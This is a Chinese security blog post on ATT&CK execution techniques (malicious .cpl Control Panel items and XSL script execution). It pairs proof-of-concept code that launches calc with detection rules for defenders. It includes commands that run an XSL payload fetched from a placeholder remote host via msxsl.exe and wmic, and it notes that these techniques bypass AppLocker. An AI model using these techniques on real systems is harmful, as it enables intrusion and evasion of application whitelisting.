ATT&CK攻防初窺系列--執行篇(一)
如果要評選網路安全界近年熱詞排行的話,那麼ATT&CK這個詞一定是穩居top3的。我們經常看到關於ATT&CK的一些技術文章分享,那麼ATT&CK到底是什麼呢?MITRE ATT&CK™ is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations.這是官網對於ATT&CK框架的解釋,向我們表明了ATT&CK是一個基於真實世界所觀測到的對抗性戰術和知識庫。其將眾多的紅隊技術分門別類的列舉了出來,對於紅隊的進攻有著很強的指導意義。而對於藍隊來說,ATT&CK框架為藍隊提供了一種相互溝通的語言,可以理解為一種通用貨幣,使得藍隊可以圍繞著ATT&CK框架共築安全長城。介於ATT&CK框架對於紅藍雙方學習的重要性和必要性,我們團隊將會對ATT&CK的研究專門寫一個系列,具體介紹ATT&CK技術的復現和威脅特徵提取。
ATT&CK框架將對抗性戰術分為幾個階段,分別是Initial Access、Execution、Persistence、Privilege Escalation、Defense Evasion、Credential Access、Discovery、Lateral Movement、Collection、C2、Exfiltration、impact。我們首先從執行入手,帶領大家初窺ATT&CK攻防。
T1196-Control Panel Items
控制皮膚專案是註冊的可執行檔案(.exe)或控制皮膚(.cpl)檔案,CPL實際上是重新命名的動態連結庫(.dll)檔案,可匯出CPlApplet函式。控制皮膚項可以直接從命令列執行,也可以透過Control_RunDLL(API)呼叫或者直接雙擊檔案。
攻擊者可以使用控制皮膚專案來執行任意命令。惡意控制皮膚專案可以透過釣魚郵件投遞,也可以作為多階段惡意軟體的一個執行方法。控制皮膚專案,尤其是CPL檔案,也可能會繞過應用程式或副檔名白名單。
命令執行
// dllmain.cpp : 定義 DLL 應用程式的入口點。
#include "stdafx.h"
#include <windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("cmd.exe /c calc", SW_SHOW);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
這裡我們用了點取巧的辦法,直接將程式碼寫在了attach裡面,將上述程式碼編譯為dll檔案CPIApplet.dll(可以隨意命名),然後將CPIApplet.dll重新命名為CPIApplet.cpl
技術復現
control.exe c:\users\W10PC1\desktop\CPIApplet.cpl //這裡cpl一定要採用絕對路徑否則失敗
技術復現(雙擊)
技術復現(使用匯出函式Control_RunDLL)
rundll32.exe shell32.dll,Control_RunDLL c:\users\W10PC1\desktop\CPIApplet.cpl
威脅檢測
資料來源:API監視,二進位制檔案後設資料,DLL監視,Windows登錄檔,Windows事件日誌,程式命令列引數,程式監視
程式特徵:(級別:高)
# 無論是透過control.exe執行、還是雙擊,最後都會透過rundll32呼叫shell32的匯出函式Control_RunDLL來執行payload
Image contains 'rundll32.exe' AND CommandLine contains 'Shell32.dll' AND CommandLine contains 'Control_RunDLL' AND CommandLine regex '^.*\.cpl$'
程式特徵:(級別:僅審計)
# 執行的payload檔案字尾名不一定是cpl,可以是任意字尾,為了防止被繞過檢測。需要記錄其他相關呼叫Control_RunDLL API的行為
Image contains 'rundll32.exe' AND CommandLine contains 'Shell32.dll' AND CommandLine contains 'Control_RunDLL'
T1220 XSL Script Processing
XSL 指擴充套件樣式表語言(EXtensible Stylesheet Language)。全球資訊網聯盟 (W3C) 開始發展 XSL 的原因是:存在著對於基於 XML 的樣式表語言的需求。在紅藍對抗中,使用XSL檔案執行惡意程式碼有時可以幫助我們繞過APPLocker。下面介紹兩種利用手段。
命令執行
技術復現(MSXSL.EXE)
msxsl.exe是微軟用於命令列下處理XSL的一個程式,透過它我們可以執行XSL內的JavaScript進而執行系統命令。下載地址:https://www.microsoft.com/en-us/download/confirmation.aspx?id=21714。msxsl命令列接收形為 msxsl.exe {xmlfile} {xslfile} 的引數。由於XSL算是一種特殊的XML,我們可以使用msxsl.exe {xslfile} {xslfile}呼叫xsl檔案內的命令。
Ail.xsl
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="https://www.dbappsecurity.com.cn">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
本地執行
msxsl.exe Ail.xsl Ail.xsl
遠端執行
msxsl.exe http://xxx.xxx.xxx.xxx/Ail.xsl http://xxx.xxx.xxx.xxx/Ail.xsl
技術復現(WMIC.EXE)
wmic可以透過形如:wmic.exe {wmiccommand} /FORMAT:{xslfile}的方式執行xsl內的惡意程式碼。{wmic command內可以填寫任意的wmic可執行的命令}
本地執行
wmic process get name /format:Ail.xsl
遠端執行
wmic process get name /format:"http://xxx.xxx.xxx.xxx/Ail.xsl" //這裡的format後的網址一定要加上雙引號不然會報錯
威脅檢測
資料來源:程式監視,程式命令列引數,網路的程式使用,DLL監視
MSXSL.EXE
程式特徵:(級別:高)
#當MSXSL.EXE作為父程式建立其他程式時視為可疑
ParentImage regex '^.*msxsl\.exe$'
載入項特徵:(級別:高)
#當MSXSL.EXE載入jscript.dll時視為可疑
Image regex '^.*msxsl\.exe$' AND ImageLoaded contains 'jscript.dll'
WMIC.EXE
載入項特徵:(級別:高)
#當WMIC.EXE載入jscript.dll視為可疑
Image regex '^.*wmic\.exe$' AND ImageLoaded contains 'jscript.dll'